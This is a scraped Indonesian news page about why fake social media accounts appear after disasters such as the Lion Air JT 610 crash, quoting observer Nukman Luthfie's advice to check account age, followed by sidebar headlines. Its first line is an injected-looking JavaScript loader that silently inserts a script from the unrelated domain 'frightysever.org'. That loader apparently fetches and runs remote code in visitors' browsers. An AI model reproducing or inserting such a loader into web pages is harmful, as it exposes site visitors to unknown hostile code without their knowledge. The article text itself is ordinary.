(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Teknologi

Kenapa Muncul Akun Palsu di Medsos Setelah Bencana?


Peristiwa jatuhnya pesawat Lion Air JT 610 pada Senin (30/10/2018) masih mendapatkan perhatian tersendiri dari masyarakat. Pesawat tersebut jatuh di perairan Tanjung Karawang, Jawa Barat. Diberitakan, pesawat dengan tujuan Pangkal Pinang ini mengangkut lebih dari 180 orang. Setelah terjadinya suatu peristiwa besar, biasanya masyarakat mencari perkembangan informasi melalui berbagai sumber, salah satunya media sosial. Namun, di media sosial ditemukan sejumlah akun dengan username yang sama, terutama nama yang terkait bencana, misalnya korban. Pengamat media sosial, Nukman Luthfie mengatakan, fenomena seperti ini memang sudah lama terjadi.

“Setiap ada apa pun yang mendapat perhatian publik, orang-orang yang biasa mengambil keuntungan di social media, kemudian mengambil username-nya,” kata Nukman seperti diberitakan Kompas.com, Selasa (30/10/2018). Menurut dia, keuntungan yang diambil oleh oknum tersebut lebih condong kepada hal yang bersifat komersial.

Setelah membuat akun dan mengelolanya dengan membuat konten-konten yang seolah-olah itu asli, akun itu otomatis akan mempunyai banyak followers atau pengikut. Dengan demikian, akun itu akan memiliki traffic yang tinggi. “Nanti dimanfaatkan untuk macam-macam, seperti dijual,” ujar dia. Lukman menyampaikan, akun palsu ini biasanya dibuat oleh oknum yang memang sudah terbiasa berperilaku seperti ini. Namun, ia menyayangkan sikap oknum yang memanfaatkan suatu peristiwa untuk mendapatkan keuntungan bagi pihak tertentu.

Cek dulu

Terlepas dari hal itu, perilaku masyarakat memang biasanya akan segera mencari informasi jejak digital seseorang melalui media sosial orang tersebut. Lukman memberikan imbauan kepada masyarakat untuk melakukan pengecekan jika ingin mengikuti suatu akun. Ia menambahkan, akun asli dan akun palsu sebenarnya dapat dibedakan. “Jika niatnya mau follow, dicek dulu akun sudah baru atau lama. Kalau udah lama ada kemungkinan benar akun tersebut milik yang bersangkutan,” ujar Nukman. Namun, menurut dia, kalau akun tersebut baru, kemungkinan besar dibikin oleh oknum yang memang sengaja menanfaatkan kepopuleran untuk mendapatkan keuntungan tertentu. (kmps)

Reporter : Kmps
Editor : Bie

Desy Arfianty

Recent Posts

Syamsudin Noor Jadi Bandara Domestik, Begini Respon Wali Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Pencopotan status internasional pada Bandara Syamsudin Noor Banjarmasin yang terletak di Kota… Read More

7 menit ago

Presiden Jokowi di Booth PLN PEVS 2024, Dirut PLN Paparkan Kesiapan Ekosistem Kendaraan Listrik

KANALKALIMANTAN.COM, JAKARTA - Presiden Republik Indonesia Joko Widodo (Jokowi) mengunjungi booth PT PLN (Persero) dalam… Read More

3 jam ago

Akhir Pekan Pasti Hemat, Berikut Promo BRI hingga 30 Persen di 8 Kota Indonesia

KANALKALIMANTAN.COM – Bagi sebagian orang, akhir pekan (weekend) merupakan waktu yang dinanti. Sembari rehat bekerja,… Read More

7 jam ago

Diskusi Santai “Komunitas Gembel Banjarmasin” Bahas Kesejahteraan Buruh

KANALKALIMANTAN.COM, BANJARMASIN - Masih dalam momentum Hari Buruh 2024, Komunitas Gemar Belajar (Gembel) Banjarmasin menggelar… Read More

15 jam ago

Penyediaan Rumah ASN dan Tenaga Kontrak, Pemkab Kapuas Gandeng Pengembang Perumahan

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat Bupati Kapuas Erlin Hardi melakukan penandatanganan MoU antara PT Mahakarya… Read More

16 jam ago

Status Internasional Dicabut, Bandara Syamsudin Noor Tetap Jadi Embarkasi Haji

KANALKALIMANTAN.COM, BANJARBARU - Kementerian Perhubungan (Kemenhub) memutuskan mencabut status Bandara Syamsudin Noor Banjarmasin di Banjarbaru… Read More

18 jam ago

This website uses cookies.